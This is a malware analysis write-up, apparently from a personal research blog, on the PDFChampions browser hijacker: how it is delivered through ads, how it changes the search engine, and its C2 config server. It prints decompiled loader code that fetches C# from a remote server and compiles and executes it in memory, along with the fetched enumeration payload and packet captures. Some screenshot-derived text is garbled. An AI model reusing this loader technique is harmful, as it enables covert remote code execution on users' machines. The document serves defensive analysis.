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TL;DR

PDFChampions is a YAPA Browser Hijacker, delivered via ads, that changes the browsers default search engine
and also functions as a loader.
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Tactical Pause

THE CONTENT, VIEWS, AND OPINIONS EXPRESSED ON THIS DOCUMENT ARE MY OWN AND DO NOT
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AND WRITING ARE CONDUCTED ON MY PERSONAL TIME AND USING MY OWN PERSONALLY-
ACQUIRED RESOURCES. ANY REFERENCES, TOOLS, OR SOFTWARE MENTIONED HERE ARE
LIKEWISE USED INDEPENDENTLY AND ARE NOT ASSOCIATED WITH, ENDORSED, OR FUNDED BY MY
EMPLOYER.
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Summary Up Front

PDFChampions is a YAPA Browser Hijacker with loader capabilities that downloads, compiles, and executes
dynamic code from memory. This research was a continuation of my research

into ConvertMaster [1] and ConvertyFile [2] browser hijackers. All three are delivered via ads. |

consider PDFChampions to be the most dangerous because it includes the loader capabilities.

After-publish Edit Notes

I've made edits to this after | originally published this. | pasted text snippets of the code that were in screenshot
snips — Thanks to the helpful feedback from Squiblydoo (@SquiblydooBlog [https://x.com/SquiblydooBlog]) and
Luke Acha (@luke92881[https://x.com/luke92881])!

Intro

This continues from my analysis on ConvertMaster [1] and ConvertyFile [2]. PDFChampions is a YAPA Browser
Hijacker that is also a loader. YAPA is Yet Another PDF App that Luke Acha (@luke92881[3]) mentions in “Fake
PDF converter hides a dark secret” [4].

This ad was served again from govsalaries[.Jcom. | will likely continue to pull converter ads from their site as the
browser hijackers become available. The snip below shows the ad.

Download PDF File

File size: 3MB. O5: Win PDFChampions

The advertiser is OSADS LTD. The snip below is from Google Ad Transparency.
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The snip below shows they are also advertising for “PDFSupernova”. This could be next in the queue.
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The ad leads you to “hxxps|[:]//pdfchampions|[.Jcom/pdfchampions”. Follow along with my work with the Any Run

session [5]!
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PDFChampions.exe (SHA256: 7¢5004c9d3ed4325¢547ec0127d59205529f4574444a9e74dc108b0783d6e392)
is served from “hxxps[:]//downloadive[.]Jcom/puoyder/o/PDFChampions.exe”. Keep in mind that there will be
parameters in the URL.

<div class="buttons_container":
<a id="download_btn_m" href="https://downloadive.com/puoyder/o/PDFChampions.exe"” download="PDFChampions.exe’
type="application/octet-stream”>Download File</a>

<a id="download_btn_n" href="https://downloadive.com/ldkie/PDFChampions.exe"” download="PDFChampions.exe"
lication/octet-stream”>Download File</a>

Execution

First you have to accept the EULA.
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PDFChampions

—

PDF-Champions will be your perfect compnanion for converting doc documents to PDF. The installation process
changes the deafult search engine

End User License Agreement : ”

This End User License Agreement ("“Agreement" or "EULA") govern,“your” “use®,"of* “our" "services" “and",“the” download and
install of our browser extension, including any revisions, improvements, new releases and related documentation in connection
thereto(collectively "Service” or "Product”) and constitutes a legallybinding agreement between you ("user” or "you") and ("we",
"us® or “our”). download and install of our browser extension including any revisions, improvements, new releases and
relateddocumentation in connection thereto (collectively "Service" or "Product”) and constitutes a legally binding agreement
between you (“user” ar "you") and (“we", “us® or “our”).

By clicking "Next" | give my consent to install PDFChampions and set my default search settings to mariosearch
and | agree to following privacy and terms policies

MNext ‘

These are the install views that are similar to ConvertyFile and ConvertMaster. It covers the screen to ensure
you don’t see the browser activities in the background.

Child process was creale
E e 2L il s i Sy SRR Lomd eae®
Farerd “CoUsersiadminiDownioad s FTFCham pons. e

Child process was ¢
E g “CWindows Sy memAliconhast e
Fararil “C NS s Sy sOW BNl s

Child process was created
E Wit * £ W o e OIS 1 L bl i
Piraril "C s et MW B e i ™

B

Please wait while install is in progress

This is the thank you page indicating there was a successful installation.
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Thank you for downloading PDFChampions

Mow ir's timee 1o st back, rela and et PDFChamgions deal with all your comverting woric

The snip below shows the shortcut on the desktop, and the properties. | show this because this is the same
behavior as ConvertyFile and ConvertMaster. The online converter is “hxxps[:]//champion.pdfchampions[.Jcom”.

-

General Web Document | Spourty Defals  Frevious Versions

FDF Championa

URL: | mttps//champion. PDFChampions.com |

Shartout key: |N0ﬂt‘- |

Wats: Unknawn

5
|

0K Cancel

This is a snip of the online converter. Note how ConvertyFile and ConvertMaster also used a desktop link to

bring the user to an online converter.
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Effortlessly comvert between lormats like DOC, PPT, XLS,
JPG, PSD, C5V. and more with PDFChampions.

Bederi & e or drap s deog herd

& UPLOAD FILE

Config Server

Line 28 of the Program class shows it will fetch from hxxps|[:]//api.mekanfig[.]Jcom/api/v1/message.

The snip below shows the main parts of the Fetch method for reference. The first argument is the endpoint. The
second is the pID that remains the same for the install. The third argument is the segment ID. The segment ID
changes. The first fetch uses the seglD “cfg”.
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endpoint,

pid = pID,
segment id

Async(endpoint, stringContent).

20251108 Edit — The code snip below is the code from the snip above.
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public static string Fetch(string endpoint, string pID, string segID)

{
string text2;
try
{
using (HttpClient httpClient = new HttpClient())
{
StringContent stringContent = new StringContent(JsonConvert.SerializeObject(new
{
pid = pID,
segment_id = segID
}), Encoding.UTF8, "application/json");
HttpResponseMessage result = httpClient.PostAsync(endpoint, stringContent).Result;
string text;
if (!'result.IsSuccessStatusCode)
{
text = string.Empty;
}
else
{
JToken jtoken = JObject.Parse(result.Content.ReadAsStringAsync().Result)["data"];
text = ((jtoken != null) ? jtoken.ToString() : null);
}
text2 = text,
}
}
catch (Exception ex)
{
TelemetryReporter.Send(100, "Exception while get code " + ex.Message);
text2 = string.Empty;
}
return text2,
}

The snip shows the response to the POST request to “hxxps[:]//api.mekanfig[.]Jcom/api/v1/” contains the
dynamic configs.
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Wireshark - Follow HTTP Stream (tcp.stream eq 101) - 07e8Ff42-e218-42c3-9d96-9F1034b55b73.pcap

HTTP/1.1 168 Continue =

POST /api/vli/message HTTP/1.1

Content-Type: application/json; charset=utf-8
Host: api.mekanfig.com

Content-Length: 39

Expect: 108-continue

Connection: Keep-Alive

{"pid": "czUX3wMDAY", "segment_id" :"cfg"}JHTTP/1.1 2080 OK
date: Wed, 29 Oct 2825 14:37:38 GMT

server: uvicorn

Content-Length: 258681

content-type: application/json

Via: 1.1 google

Alt-Svc: h3=":18012"; ma=2592000,h3-29=":18012"; ma=2592000

{"success":true, "message" :null, "data":"{\n \"PID\": \"czUX3wMDAy\",%n \"Title\": \"PDFChampi
ons\",\n \"Description\": \"PDF-Champions will be your perfect compnanion for converting doc
documents to PDF. The installation process changes the deafult search engine\",\n \"EulaCondi
tion\": \"By clicking “\\"Next\“\" I give my consent to install PDFChampions and set my defaul
t search settings to mariosearch and I agree to following privacy and terms policies\",\n \"P
rivacyPolicyUr1\": \"https://pdfchampions.com/privacy.html\",\n \"TermsOfServiceUr1\": \"http
s://pdfchampions.com/terms.html\",\n \"UninstallUr1\": \"https://pdfchampions.com/uninstall.h
tmI\",\n  N"TYPUr1A": \"https://pdfchampions.com/thanks\",\n \"CodeUri\": \"https://api.mekan
fig.com/api/vi/message\",\n \"ReportuUri\": \"https://infto.mariosearch.com/api/vi/preport\",\
n \"ConfigUri\":\"https://more.mariosearch.com/api/vl/getprofiler?profile_id=\",\n \"CancelB
uttonColor\": \"#FFEEEO\",\n \"CancelButtonForeColor\": \"#FFFFFF\",\n \"NextButtonColor\":
\"#00ccBO\",\n M\"NextButtonForeColor\": \"#FFFFFF\",\n \"SecondScreenMessage\": \"Please wai
t while install is in progress...\",\n \"SecondScreenMessage2\": \"This may take up to 3@ sec
onds.\",\n \"EulaHeading\": \"End User License Agreement :\",\n \"EulaText\": \"This End Use
r License Agreement (MA"NAN"Agreementd\\" or NMA"EULANAA") govern, MA"yourdh\T WA "useNAW" NN
Ao NN N our AT, NV "servicesih A" N and A", AN "the\\A" download and install of our brow
ser extension, including any revisions, improvements, new releases and related documentation i
n connection thereto(collectively MMMA"ServiceM\\" or \M\\"Product\\\") and constitutes a legall
ybinding agreement between you (A\\MN"user™A" or M\A"youdzA") and (MW"wedAW", MNN"us\NAT or AN
\ourd\\"). download and install of our browser extension,including any revisions, improvement
s, new releases and relateddocumentation in connection thereto (collectively M\"Service\\\" o
r \\A"Product\\\") and constitutes a legally binding agreement between you (\\\"user®\\" aor \\
AyoudAN") and (AN "wedNT, NWTusMAT or MN"our N ) AN\ pariy\\\par ACCEPTANCE OF THE TERMS:
please read the terms and conditions of this Agreement carefully before downloading, installin
g or using our Product or Service and any feature provided therein. By choosing the \\\"DOWNLO
ADNMA" button, downloading or using the Service you acknowledge that you have read, understood
, and agree to be bound by this entire Agreement and our Privacy Policy which together govern
your use of the Serwvice (the EULA and Privacy Policy shall be referred collectively as the “\\
"Terms\\\"). You further acknowledge that these Terms constitute a binding and enforceable leg
al contract between us and you which further enforces class action waiver and arbitration prov
ision as detailed in the dispute resolution section herein below. If you do not agree with the
se Terms in its entirety, or if applicable law prohibits your acceptance of this Terms, you mu
st not accept this Agreement and may not use our Service. Any use of the Service by you under
such circumstances will be considered as a violation of our legal rights \\\\par\\\\par {\\\\b |+

20251108 Edit — The code snip below is the response after it was ran through the Cyber Chef JSON Beautify
and Unescape string recipes. I've removed the EulaText, BannerImageBase64, and the LogolmageBase64 key
value pairs for brevity.
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"success":
"message":
lldatall. ll{

true,
null,

"PID": "czUX3wMDAy",
"Title": "PDFChampions",

"Description":

"PDF-Champions will be your perfect compnanion for converting doc documents to PDF.

The installation process changes the deafult search engine",

"EulaCondition": "By clicking \"Next\" I give my consent to install PDFChampions and set my default
search settings to mariosearch and I agree to following privacy and terms policies",
"PrivacyPolicyUrl": "https://pdfchampions.com/privacy.html",

"TermsOfServiceUrl": "https://pdfchampions.com/terms.html",

"UninstallUrl": "https://pdfchampions.com/uninstall.html",

"TYPUrl": "ht
"CodeUri": "h
"ReportUri":

"ConfigUri":"
"CancelButton
"CancelButton

tps://pdfchampions.com/thanks",
ttps://api.mekanfig.com/api/vil/message",
"https://infto.mariosearch.com/api/vi1/preport",
https://more.mariosearch.com/api/vl/getprofiler?profile_id=",
Color": "#FFO000",

ForeColor": "#FFFFFF",

"NextButtonColor": "#00cc00",
"NextButtonForeColor": "#FFFFFF",

"SecondScreen
"SecondScreen

"EulaHeading":

Message": "Please wait while install is in progress...",
Message2": "This may take up to 30 seconds.",
"End User License Agreement :"

In the snip above, it contains the key/pair below.

\"ConfigUri\”:\"https://more.mariosearch.com/api/v1/getprofiler?profile_id=\"

The snip below shows the GET request to hxxps[:]//more.mariosearch[.Jcom/api/v1/getprofiler?
profile_id=9kie7cg6.default-release. It returns a mozlz4 file.
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Wireshark - Follow HTTP Stream (tcp.stream eq 109) - 07e8ff42-e218-42c3-9d96-9F1034b55b73.pcap

GET /api/vil/getprofiler?profile_id=9kie7cg6.default-release HTTP/1.1
Host: more.mariosearch.com
Connection: Keep-Alive

HTTP/1.1 200 OK

date: Wed, 29 Oct 2025 14:37:53 GMT

server: uvicorn

Content-Length: 1613

content-type: application/octet-stream

Via: 1.1 google

Alt-Svc: h3=":18812"; ma=2592080,h3-29=":18812"; ma=2592000

mozLz48...... J{"version": 12, "engines": [{"id": "google", "_name": "G...#isAppProvided":
true, "_metaData": {"order": 13}}, X.9ddgU..DuckDuckGo...Y...3Y.:binZ..B...T...2T. . .wikiped
ia...... W..Q (en)...c...4c...0344af1b-60b5-4d49-b678-b9853cc50adce. .~. .Mariosearch. ... loa

dPath": "[https]mserv.m).X.com/....xml", "descript..

[..iconMapObj...bl6": "data:image/png;base64, iVBORWOKGgoAAAANSUhREUgAAABAAARAQCAMAAAACLQIT
AAABG1BMVEVHCEZMzMwnJyd 1ZWX// /+np6ceHh7// . . .>+goKC7u7vd3d10dHQoKChZwWvn///+1paXLy8v///9i¥m
JxcXGgqqpwcHB5eXmDg40kpKS1tbXFxcXV. . .. .. 98fHz////z8/PTROP. . .&// /++vr78/PzDwB0X15f///98dHR
KsSkq/v7+Tn5S9ERESOLLR1MX. .. ) 7u7tOTK7v7++0ogKhTUINYWF j8/Py1tbWurg7n5+dQUFCampqULITEXMTp. .52d
nbMzM. .Bt7e3..... //Hx8f////uTubxsbFwWVlampqaogKhYWF1jo60Pj49WV1ZawlqU1lJS LpaWysrKwsLCrgéunp
6ekpKQeg6DZAAAAWXRST IMATgt / IMwFbkOymKYEmgoeHWGNE3mMt YuMiTbvvIRqeUVxVKi6kKtHeQZYmBopBYz LA/
kHPIBRVBWRBQWP j&YRmW+cLHMGoTAJJTSbFFWaEcyPEYS2GRGmzGraaFUAAACYSURBVBJTY2CAALcXJ28/RysY18H
Yzdfd2dPOQQ8moGHuUxeLBwKCrCBMQ4 jDxsQbSEJABFT 11ThiNBgZRmICMLLsSp7AggzhMQEpN1V1BgIdfBCaglads
ZBHCyMsH5esbaUuKcXMxMBHSppEGhgwMbHBX2USym]jEgAdsoC3tkfmABqyUyPzgmwB+ZHxIbEYTMZwgNDEOPhAWAP.J
BGODVyfUgAAAABIRUSErkJggg=="}"....1Has... 8wHMPHOFXVvZHZ6GXzHZu8QgeU+SOR3qVWP+eWFBpuk=",
g..5}, "_url..Qparam..b], "re...], "templat...2.}://more3..g..=?uid=3a6a9%d7cad49660337da%
57538771 20&pid=s50002&install_date=29-10-20258q={R. .Terms}"}], "_....Hint": null, "_tele
metryId...definedAlias...A. .updateInterval®....3URL...p. ...useSavedO..... Qlocal. .ae
n-us"@. .g&..... channel":[.1eas, ..experime..."c.tistrolID...appDefaultEu..... Wa oftla o ofifocofoc
P.. QkGOiX2s5SDv5cQLPEPWLBDjnqQoCk238Lfvpnk4BeY="}}

A mozlz4 file is a compressed file that Firefox uses to store browser configs. In the Any Run session, the mozlz4
file got saved as “C:\Users\admin\AppData\Local\Temp\search.json.mozlz4”, so you can download it and follow
along.

| used Jefferson Scher’s Firefox Search Engine Extractor to view it online [6]. The snip below shows the results.
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https://www.jeffersonscher.com/ffu/searchjson.html

Overview of Data From the File
Default Search Engine
undefined

One-Click Search Engines

Search Engine My Source (_loadPath)
Name Keyword(s) Custom URLs

Google - {built-in}

Bing - {built-in}

DuckDuckGo |- {built-in}

Wikipedia (en) |- {built-in}

Mariosearch |- [https]mserv.mariosearch.com/mariosearch.xml
Path: https://more.mariosearch.com/search?
uid=3a6a9d7ca49600337da%e57538771f20&pid=s50002&install_date=29-10-2025&q={searchTerms}

Other Data from the File

JSON format version: 12
Firefox locale: en-US

Region: US

Locale built-in search engines:

It shows the Mariosearch URL hxxps[:]//more.mariosearch[.Jcom/search?
uid=3a6a9d7ca49600337da9e57538771f20&pid=s50002&install_date=29-10-2025&qg={searchTerms}. During
the session, | observed that the default search engine was modified after installing. | searched for “what is
mariosearch”. The snip below shows the PCAP from my search for “what is mariosearch” that gets sent to
more.mariosearch[.Jcom, and redirected to Google search.

Wireshark - Follow HTTP Stream (tcp.stream eq 160) - 07e8ff42-e218-42¢3-9d96-9F1034b55b73.pcap

GET /search?uid=3a6a9d7ca49600337da9e57538771f20&pid=s50002&8install_date=29-10-2025&g=-what%20is+mariosearch®3F HTTP/1.1
Host: more.mariosearch.com

User-Agent: Mozilla/5.@ (Windows NT 10.8; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.8
Accept: text/html, application/xhtml+xml, application/xml;g=0.9, */*;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate, br, zstd

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: none

Sec-Fetch-User: ?1

Priority: u=e, i

HTTP/1.1 302 Found

date: Wed, 29 Oct 2025 14:39:23 GMT

server: uvicorn

referrer-policy: no-referrer

user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
accept-language: en-US,en;g=0.5

Content-Length: @

location: https://www.google.com/search?g=what%208is%2@mariosearch?

Via: 1.1 google

Alt-Svc: h3=":18012"; ma=2592000,h3-29=":18012"; ma=2592000

Returning back to the flow.

After the “cfg” Fetch is successful, it fetches the “dets” segment, and passes it as the first argument to
Mexcuter.RunProductinfo as seen below.
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20251108 Edit — The code below is from the snip above.

ConfigurationService.LoadConfig(text);
string text2 = Retrieve.Fetch(ConfigurationService.Current.CodeUri, ConfigurationService.Current.Pid,
"dets");
if (string.IsNullOrEmpty(text2))
{

TelemetryReporter.Send(9, "Detail code is empty");

MessageBox.Show("Unable to retrieve system detail information.", "Startup Error",
MessageBoxButtons.OK, MessageBoxIcon.Hand);

}

else
{
object obj = Mexcuter.RunProductInfo(text2, ConfigurationService.Current.Pid);
if (obj == null)
{
TelemetryReporter.Send(9, "Failed to evaluate product info from dynamic code.");
MessageBox.Show("System information evaluation failed.", "Startup Error",
MessageBoxButtons.OK, MessageBoxIcon.Hand);

}
else
{
AppSettings.Details = obj;
Application.Run(new FirstScreen());
}

The snip below shows the “dets” request.

POST /api/vl/message HTTP/1.1

Content-Type: application/json; charset=utf-8
Host: api.mekanfig.com

Content-Length: 40

Expect: 180-continue

{"pid":"czUX3wMDAy", "segment_id" :"dets"}HTTP/1.1 200 OK

The snip below shows the response. Take note of how it looks like code that is passed as a JSON object. The
code performs common enumeration tasks.
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{"success":true, "message":null, "data":"using System;\nusing System.IO;\nusing System.Net;\nusing System.Drawing;\nusing System.Diagn
ostics;\nusing System.Threading;\nusing System.Management;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.Runt
ime.InteropServices;\n\nnamespace ModuleDetail\n{\n public class Types\n {\n public static Dictionary<string, int> OTyp
e = new Dictionary<string, int=()\n {\n {\"windows 7\" , 7 },\n "
windows B8\" , 8 },\n {\"windows 8.1\" , 81 },\n {\"windows 1e\" , 1@ },\n

{\"windows 11\" , 11 },\n {\"other\" , 6 }\n }i\n hn public class InfoObject\n {
\n public int EventCode { get; set; } = @;\n public string PID { get; set; } = \"2006\";\n public int ProductCa
tegory { get; set; } = 1;\n public string ProductVersion { get; set; } = \"0.0.8.8\";\n public int 0sId { get; set; }
= 6;\n public int 0sSubType { get; set; } = 11;\n public string 0sBuild { get; set; } = \"eeeee\";\n public str
ing OsEdition { get; set; } = \'"Pro\";\n public int BrowserId { get; set; } = 3;\n public string BrowserVersion { get;
set; } = \"0.8.0.8\";\n public string ClientId { get; set; } = \"0Q0O0GRE0-0000-0000-0000-0000E0ARAEAEN" ; \n public stri
ng Info { get; set; } = \" \";\n }nin public class Product\n {\n public InfoObject GetOs(InfoObject infoObject)\n
{\n try\n {\n ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(
\"SELECT * FROM Win32 GperatlngSystem\") \n ManagementObjectCollection collection = managementObjectSearcher.Get();\n
foreach (ManagementObject obj in collection)\n {\n string caption = obj[\"Caption\"].ToString();\n
string build = obj[\"BuildNumber\"].ToString();\n infoObject.0sBuild = build;\n string[] words
= caption.Split(new char[] { ' " }, StringSplitOptions.RemoveEmptyEntries);\n if (words.Length == 4)\n

\n int oType;\n if (Types.OType.TryGetValue(words[1].ToLower() + \" \" + words[2].ToL
ower(), out oType))\n {\n infoObject.0sSubType = oType;\n
\n infoObject.0sEdition = words[3].ToLower(};\n infoObject.0sId = 1;\n
Ihn I\n return infoObject;\n I catch (ManagementException e)\n {\n
infoobject.0sId = 6;\n infoobject.0sEdition = \" \";\n return infoobject;\n I Ihn
public string isPathExists()\n {\n string p64 = \"C:\\\\Program Files\\\\Mozilla Firefox\\\\firefox.exe\";\n
string p32 = \"C:\\\\Program Files (x86)\\\\Mozilla Firefox\\\\firefox.exe\";\n if (File.Exists(p64))\n {\n
return p&4;\n nn else if (File.Exists(p32))\n {\n return p32;\n I\n
else\n {\n string misc = TryGetPath();\n if (File.Exists(misc)) {n retu
rn misc;\n Isn else {\n return \"\";\n n Ihn Iun
public strlng GetFileVer(string filePath)\n {\n if (!string. IsNullOrEmpty(fllePath] && File.Exists(filePath))\n
{\n var versionInfo = FileVersionInfo.GetVersionInfo(filePath);\n return versionInfo.FileVersion;\n
Ihn return \"8.0.8.8\";\n Falil public InfoObject GetDwBrow(InfoObject infoObject)\n {\wn in
foObject.BrowserId = 3;\n infoObject.BrowserVersion = GetFileVer(isPathExists());\n return infoObject;\n
Isn public InfoObject GetInfoInObject(string message, string pid)\n {\n InfoObject infoObject = new InfoObj
ect();\n infoObject.PID = pid;\n infoObject = GetOs(infoObject);\n infoObject = GetDwBrow(infoObjec
t);\n return infoObject;\n J\nin public string TryGetPath()\n {\n foreach (Process proc in
Process.GetProcessesByName (\"firefox\"))\n {\n try\n {\n string path = GetEx
ecutablePath(proc.Id);\n return path;\n i catch (Exception ex)\n {\n\
n Isn }wn\n return \"\";\n }n\n public string GetExecutablePath(int processId)\n
{\n using (var searcher = new ManagementObjectSearcher(\n $\"SELECT ExecutablePath FROM Win32_Process WHE
RE ProcessId = {processId}\")})\n using (var results = searcher.Get())\n {\n foreach (Mana
gementObject obj in results)\n {\n return obj[\"ExecutablePath\"]?.ToString();\n
Isn nn return \"\";\n }sn njvn"}

20251108 Edit — The code below is from the response in the snip above. | ran it through the Cyber Chef JSON
Beautify and Unescape string recipes.
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"success": true,
"message": null,
"data": "using System;

using System.IO;

using System.Net;

using System.Drawing;

using System.Diagnostics;

using System.Threading;

using System.Management;

using System.Collections.Generic;
using System.Text;

using System.Runtime.InteropServices;

namespace ModuleDetail

{

public class Types

{
public

3

static Dictionary<string, int> OType = new Dictionary<string,
{
{"windows 7" , 7 },
{"windows 8" , 8 },
{"windows 8.1" , 81 },
{"windows 10" , 10 },
{"windows 11" , 11 },
{"other" , 6 }
}

public class InfoObject

{
public
public
public
public
public
public
public
public
public
public
public
public

int EventCode { get; set; } = 0;

string PID { get; set; } = "2000";

int ProductCategory { get; set; } = 1;

string ProductVersion { get; set; } = "0.0.0.0";
int 0sId { get; set; } = 6;

int OsSubType { get; set; } = 11,

string OsBuild { get; set; } = "00000";

string OskEdition { get; set; } = "Pro";

int BrowserId { get; set; } = 3;

string BrowserVersion { get; set; } = "0.0.0.0";

string ClientId { get; set; } = "00000000-0000-0000-0000-000000000000";
string Info { get; set; } =" ";

public class Product

{
public

{

try

{

InfoObject GetOs(InfoObject infoObject)

ManagementObjectSearcher managementObjectSearcher = new

ManagementObjectSearcher ("SELECT * FROM Win32_OperatingSystem");

ManagementObjectCollection collection = managementObjectSearcher.Get();

foreach (ManagementObject obj in collection)
{
string caption = obj["Caption"].ToString();
string build = obj["BuildNumber"].ToString();
infoObject.0OsBuild = build;
string[] words = caption.Split(new char[] { ' ' },

StringSplitOptions.RemoveEmptyEntries);

int>()
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if (words.Length >= 4)

{
int oType;
if (Types.OType.TryGetValue(words[1].ToLower() + " " + words[2].ToLower(), out
oType))
{
infoObject.0sSubType = oType;
}
infoObject.OsEdition = words[3].ToLower();
infoObject.0sId = 1,
}
}
return infoObject;
}
catch (ManagementException e)
{
infoObject.0sId = 6;
infoObject.OsEdition = " ";
return infoObject;
}
}
public string isPathExists()
{
string p64 = "C:\\Program Files\\Mozilla Firefox\\firefox.exe";
string p32 = "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe";
if (File.Exists(p64))
{
return p64,
}
else if (File.Exists(p32))
{
return p32;
}
else
{
string misc = TryGetPath();
if (File.Exists(misc)) {
return misc;
}
else {
return "";
}
}
}
public string GetFileVer(string filePath)
{
if (!string.IsNullOrEmpty(filePath) && File.Exists(filePath))
{
var versionInfo = FileVersionInfo.GetVersionInfo(filePath);
return versionInfo.FileVersion;
}
return "0.0.0.0";
}
public InfoObject GetDwBrow(InfoObject infoObject)
{
infoObject.BrowserId = 3;
infoObject.BrowserVersion = GetFileVer (isPathExists());
return infoObject;
}

public InfoObject GetInfoInObject(string message, string pid)
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InfoObject infoObject = new InfoObject();
infoObject.PID = pid;

infoObject = GetOs(infoObject);
infoObject = GetDwBrow(infoObject);
return infoObject;

}
public string TryGetPath()
{
foreach (Process proc in Process.GetProcessesByName("firefox"))
{
try
{
string path = GetExecutablePath(proc.Id);
return path;
}
catch (Exception ex)
{
}
}
return "";
}
public string GetExecutablePath(int processId)
{
using (var searcher = new ManagementObjectSearcher(
$"SELECT ExecutablePath FROM Win32_Process WHERE ProcessId = {processId}"))
using (var results = searcher.Get())
{
foreach (ManagementObject obj in results)
{
return obj["ExecutablePath"]?.ToString();
}
}
return "";
}
}
}
}

Loader Functions

RunProductinfo calls RunDynamicMethod.

code, pid)

(code, "ModuleDetail.Product™, "GetInfoInObject™,
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Before showing the RunDynamicMethod, | probably should show the using directives. The snip below is a snip
of the using directives for Mexcuter.

1. Collections.Generic;
1. ComponentModel ;
1. Ling;

1. Reflection;

The snip below shows the main part of the RunDynamicMethod. It takes the code that was passed as an
argument. It will take the de-serialized JSON code from “dets”. It will check its cache to see if it was already
compiled. If it wasn’t already compiled, it'll compile it into an assembly object on line 56 and add it to the cache
on line 57. Note, this remains in memory, and it does not get saved to disk. It executes the code on line 81.

classMame, methodName, [] parameters)

+ className + " is empty™);

+ className + "' type no

", methodName, "' me C found in ", className, "." }))

20251108 Edit — The code below is from the snip above.
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private static object RunDynamicMethod(string code, string className, string methodName, object[]

parameters)
{
if (string.IsNullOrWhiteSpace(code))
{
if (!Mexcuter._sentErrorReport)
{
TelemetryReporter.Send(9, "Error: code for class " + className + " is empty");
Mexcuter._sentErrorReport = true;
}
return null;
}

Assembly assembly;
if (!Mexcuter.CachedAssemblies.TryGetValue(code, out assembly))
{
PortableExecutableReference[] array = new PortableExecutableReferencel]
{
MetadataReference.CreateFromFile(typeof(object).Assembly.Location,
default(MetadataReferenceProperties), null),
MetadataReference.CreateFromFile(typeof (Enumerable).Assembly.Location,
default(MetadataReferenceProperties), null),
MetadataReference.CreateFromFile(typeof(Component).Assembly.Location,
default(MetadataReferenceProperties), null),

MetadataReference.CreateFromFile(typeof(ManagementObjectSearcher).Assembly.Location,
default (MetadataReferenceProperties), null)

Y
try
{
MetadataReference[] array2 = array;
assembly = Assemble.CompAndGo(code, array?2);
Mexcuter .CachedAssemblies[code] = assembly;
}
catch (Exception ex)
{
TelemetryReporter.Send(9, "Compilation error: " + ex.Message);
return null;
}

}
Type type = assembly.GetType(className);

if (type == null)
{
TelemetryReporter.Send(9, "Error: '" + className + "' type not found in compiled
code.");
return null;
}
object obj = Activator.CreateInstance(type);
MethodInfo method = type.GetMethod(methodName);
if (method == null)

{
TelemetryReporter.Send(9, string.Concat(new string[] { "Error: '", methodName, "'
method not found in ", className, "." }));
return null;
}
object obj2;
try
{
obj2 = method.Invoke(obj, parameters);
}

catch (Exception ex2)
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TelemetryReporter.Send(9, "Execution error: " + ex2.Message);
obj2 = null;
}

return obj2;

Next, it will render the first screen and when the user clicks the next button, it executes the code below.

The code above fetches the “short” segment, and then executes Mexcutre.RunShortcutCreation. The snip below
shows the head of the response for the “short” segment. Take note of how it looks like code that is returned in
JSON format.

Wireshark - Follow HTTP Stream (tcp.stream eq 112) - 07Te8ff42-e218-42c3-9d96-9f1034b55b73.pcap

HTTP/1.1 180 Continue

POST /api/vi/message HTTP/1.1

Content-Type: application/json; charset=utf-8
Host: api.mekanfig.com

Content-Length: 41

Expect: 180-continue

{"pid" :"czUX3wMDAY", "segment_id":"short"}HTTP/1.1 200 OK
date: Wed, 29 Oct 2025 14:37:53 GMT

server: uvicorn

Content-Length: 142614

content-type: application/json

Via: 1.1 google

Alt-Svc: h3=":18812"; ma=2592000, h3-29=":18812"; ma=2592080

{"success":true, "message":null, "data":"using System;\nusing System.IO;‘\nusing System.Text;\nusing System.Drawing;‘\nnamespace ModuleS

hort\n{\n public class Product\n {\n public void CreateProduct(string productName)\n {\n CreateIco(pr
oductName);\n CreateShort(productName);\n CreateShortSmart(productName);\n Iun public void Creat
elco(string name)\n {\n string base64Image = “"AAABAAYAAAAAAAFEATAANEWAAZgAAATCAAAABACAAKAGBAHMTAABAQAAAAQAGACHCAAC

hGWEAMDAAAAEATACOJQAAWIBBACADAAABACAANBAAAGUDANAQEAAAADADAGOEARAT LAEATIVBORWEKGgoAAAANSUhEUgAAAQAAAAEACAYAAABCChMARASIELEQVR4AZu3dSdx
k113HBe+51d3TB61xZ8YznvE]BmPHTogTg+eRLBABLIYRNICQZLHhtYIMNTgJkERaQDSKI4xmbDWKPhCKy IwgWSFgIMz1+RYbYOHYcvx/Z7K7qBVdVIT+Lnozq/ s+ZudXTXV1
dfX4fyVLEN1IN3b LVX/brPv8+9J)zAkr TN/ cg/QcOXvAQdc7TUh1XDmsBxIZgUD8HpBINEE TWnvviadObeaJFaNBVURKktBQATh LTAIhkTAEgkrGJoR3ZysBqB6P T IDCVOITFGQMe
U2T4KCP59v+mTg83+DSCs/ xAls LEBBRDIMAJAIGMKAIGMDAS IMGZX/ xORLUC/AYhKTAEgQK JEFQE] GFAALGdVS JUBGXASE lUoova/hkhu3gC4n LvUKeXtoD8bRasmaWPkroz7
VIR1NAE j9BWEZWKqWwWhLQC+00A LHWwoh/1EYyCdVytO0+Dx t iXNAUQYpgAQyZgCQCRj49QDMGN1Z L/ Hvk803qiwaBP3AETWyvebbieEnhtxGP11UZ /oeoxTAFYyNCRiqTcDA4L Y
TTykAZED1Zk4uAWoCisj20QAQyZgCQCRj49QDi08xaDSgNEiMEXmMGoubr thkarzfocyebfdhFimHcABBELKEBIJIXBYBIXhQALh LTAIhKTAEQK jEFQEjGFAALGRUNTYALZEZ
017HpPNWCRjCKARDKMABD IMAJAIGNGALZon/ 30 2wWPN/ppZ75Ng+xPDEFPxxkplyVYgtFz tQwhnXa23985THeSGFAD1dgATXWefelur BcM/HDAELoh/c51PjBt9i38MaAagk jE
FQEjGFAAIGVMPOIaV3XuBuUBVF3u+APTDOCBVUPPBEtRSe YT/ duMéwMgoT3arUwDU2wHscrUDw02 jPrFM7STaEdr 2Qt joG3ZmQS+SSMYUACTIZUwWCIZEwWIgMFoke /WU rqvaf2
55foNQCRjCgCRj CkARDKMABD JmAJAJGMKAIGMKQBEMG Y AEMMY Ak Ak YwoAK YWpAEQYPgAQYZgCQCR] CgCRICkARDKMABD JmA JA JGMKA JGMKQBEM YAEMMY Ak Ak YwoAK YWPAEQ
